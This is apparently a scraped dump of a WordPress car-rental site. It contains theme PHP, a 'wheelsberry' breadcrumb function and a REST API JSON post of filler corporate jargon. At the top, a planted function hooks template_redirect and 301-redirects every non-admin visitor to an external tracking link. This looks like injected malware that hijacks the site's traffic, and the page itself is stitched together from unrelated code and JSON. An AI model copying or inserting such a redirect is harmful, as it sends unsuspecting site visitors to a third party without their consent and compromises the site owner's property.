function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); function wheelsberry_breadcrumbs($caption='', $before='', $separator=' / ') { global $post, $wp_query; $show_last=(get_option('wheelsberry_breadcrumbs_show_current') == 'true'); if(function_exists('is_bbpress') && is_bbpress()) { remove_filter( 'bbp_no_breadcrumb', '__return_true' ); echo bbp_get_breadcrumb(array( 'before' => $before, 'after' => $after, 'sep' => $separator, 'pad_sep' => 0, 'crumb_before' => $caption, 'include_current' => $show_last, 'home_text' => esc_html__('Home','wheelsberry'), )); add_filter( 'bbp_no_breadcrumb', '__return_true' ); return; } $out=array(); if( is_home() ) { if(is_front_page()) { // do nothing return; } else { $blog_page_id=get_option('page_for_posts'); if($blog_page_id) { $blog = get_post($blog_page_id); if($show_last) $out[]=$blog->post_title; wheelsberry_breadcrumbs_add_parents($out,$blog); } } } elseif ( is_attachment() ) { if($show_last) $out[]=$post->post_title; wheelsberry_breadcrumbs_add_parents($out,$post); } elseif( is_page() ) { if($show_last) $out[]=$post->post_title; wheelsberry_breadcrumbs_add_parents($out,$post); } elseif( is_single() ) { if( $post->post_type == 'portfolio' ) { if($show_last) $out[]=$post->post_title; if(function_exists('ompf_get_portfolio_root_page')) { $portfolio_page=ompf_get_portfolio_root_page($post->ID); if($portfolio_page) { $out[]=''.$portfolio_page->post_title.''; wheelsberry_breadcrumbs_add_parents($out,$portfolio_page); } } } elseif( $post->post_type == 'testimonials' ) { if($show_last) $out[]=$post->post_title; } elseif( $post->post_type == 'product' && function_exists('woocommerce_breadcrumb') ) { ob_start(); woocommerce_breadcrumb(); $woo=ob_get_clean(); $out[]=$woo; if($show_last) $out[]=$post->post_title; } else { if($show_last) $out[]=$post->post_title; $blog_page_id=get_option('page_for_posts'); if($blog_page_id) { $blog = get_post($blog_page_id); $out[]=''.$blog->post_title.''; wheelsberry_breadcrumbs_add_parents($out,$blog); } else { $args = array( 'post_type' => 'page', 'posts_per_page' => 1, 'meta_query' => array( array( 'key' => '_wp_page_template', 'value' => array('template-blog.php'), 'compare' => 'IN', ) ) ); $blog_page=false; $tmp_q = new WP_Query($args); if($tmp_q->post_count) { $blog_page=$tmp_q->posts[0]; } wp_reset_postdata(); if($blog_page) { $out[]=''.$blog_page->post_title.''; wheelsberry_breadcrumbs_add_parents($out,$blog_page); } } } } elseif( is_category() || is_tag() || is_day() || is_month() || is_year()) { if($show_last) $out[]=wheelsberry_get_archive_page_title(); $blog_page_id=get_option('page_for_posts'); if($blog_page_id) { $blog = get_post($blog_page_id); $out[]=''.$blog->post_title.''; wheelsberry_breadcrumbs_add_parents($out,$blog); } } elseif( is_tax('portfolio-type') ) { if($show_last) $out[]=$wp_query->queried_object->name; $portfolio_root_cat=false; if($wp_query->queried_object->parent) { $tmp=get_term($wp_query->queried_object->parent,'portfolio-type'); while($tmp->parent) $tmp=get_term($tmp->parent,'portfolio-type'); $portfolio_root_cat=$tmp->term_id; } $args = array( 'post_type' => 'page', 'posts_per_page' => 1, 'meta_query' => array( array( 'key' => '_wp_page_template', 'value' => 'template-portfolio.php', ) ) ); if($portfolio_root_cat) { $args['meta_query'][]=array( 'key' => 'ompf_portfolio_categories', 'value' => array('0','',$portfolio_root_cat), 'compare' => 'IN', ); } $tmp_q = new WP_Query($args); if($tmp_q->post_count) { $portfolio_page=$tmp_q->posts[0]; } else { $portfolio_page=false; } wp_reset_postdata(); if($portfolio_page) { $out[]=''.$portfolio_page->post_title.''; wheelsberry_breadcrumbs_add_parents($out,$portfolio_page); } } $out[]=''.esc_html__('Home','wheelsberry').''; if(is_rtl()) echo wp_kses_post ( $before. implode( $separator, $out ) . $caption . (!$show_last ? $separator.'' : '') . $after ); else echo wp_kses_post ( $before . $caption . implode( $separator, array_reverse($out) ) . (!$show_last ? $separator.'' : '') . $after ); } function wheelsberry_breadcrumbs_add_parents(&$out,$post) { if($post->post_parent) { $parent=$post->post_parent; while($parent) { $tmp=get_post($parent); if($tmp) { $out[]=''.$tmp->post_title.''; $parent=$tmp->post_parent; } else { break; } } } }{"id":105,"date":"2016-06-17T09:57:25","date_gmt":"2016-06-17T09:57:25","guid":{"rendered":"http:\/\/demo.olevmedia.net\/wheelsberry\/?p=105"},"modified":"2016-06-17T09:57:25","modified_gmt":"2016-06-17T09:57:25","slug":"the-power-to-choose","status":"publish","type":"post","link":"https:\/\/rentaflorida.com\/index.php\/2016\/06\/17\/the-power-to-choose\/","title":{"rendered":"The Power to Choose"},"content":{"rendered":"

Programmatically. We need to leverage our synergies moving the goalposts. Programmatically locked and loaded overcome key issues to meet key milestones, yet if you want to motivate these clowns, try less carrot and more stick, for we just need to put these last issues to bed.<\/span><\/p>\n

UI root-and-branch review, so old boys club thinking outside the box, for please use \u00absolutionise\u00bb instead of solution ideas!<\/span>. Knowledge is power<\/span> message the initiative<\/span>, or helicopter view, for pro-sumer software<\/span> blue money waste of resources quick-win<\/span>. Usabiltiy not enough bandwidth, yet wiggle room, nor customer centric. After I ran into Helen at a restaurant, I realized she was just office pretty cross sabers. Market-facing productize<\/span>, for bells and whistles, or work flows.<\/span><\/p>\n

Cross sabers re-inventing the wheel it just needs more cowbell<\/span> we need to leverage our synergies, or hammer out no scraps hit the floor, design thinking<\/span>. Shotgun approach hit the ground running<\/span> closer to the metal<\/span> drink from the firehose, yet to be inspired is to become creative, innovative and energized we want this philosophy to trickle down to all our stakeholders<\/span>. <\/span><\/p>\n","protected":false},"excerpt":{"rendered":"

Programmatically. We need to leverage our synergies moving the goalposts. Programmatically locked and loaded overcome key issues to meet key milestones, yet if you want…<\/p>\n

Read more<\/a><\/p>\n","protected":false},"author":1,"featured_media":106,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[19,21],"class_list":["post-105","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized","tag-car-rent","tag-news"],"_links":{"self":[{"href":"https:\/\/rentaflorida.com\/index.php\/wp-json\/wp\/v2\/posts\/105"}],"collection":[{"href":"https:\/\/rentaflorida.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/rentaflorida.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/rentaflorida.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/rentaflorida.com\/index.php\/wp-json\/wp\/v2\/comments?post=105"}],"version-history":[{"count":0,"href":"https:\/\/rentaflorida.com\/index.php\/wp-json\/wp\/v2\/posts\/105\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/rentaflorida.com\/index.php\/wp-json\/wp\/v2\/media\/106"}],"wp:attachment":[{"href":"https:\/\/rentaflorida.com\/index.php\/wp-json\/wp\/v2\/media?parent=105"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/rentaflorida.com\/index.php\/wp-json\/wp\/v2\/categories?post=105"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/rentaflorida.com\/index.php\/wp-json\/wp\/v2\/tags?post=105"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}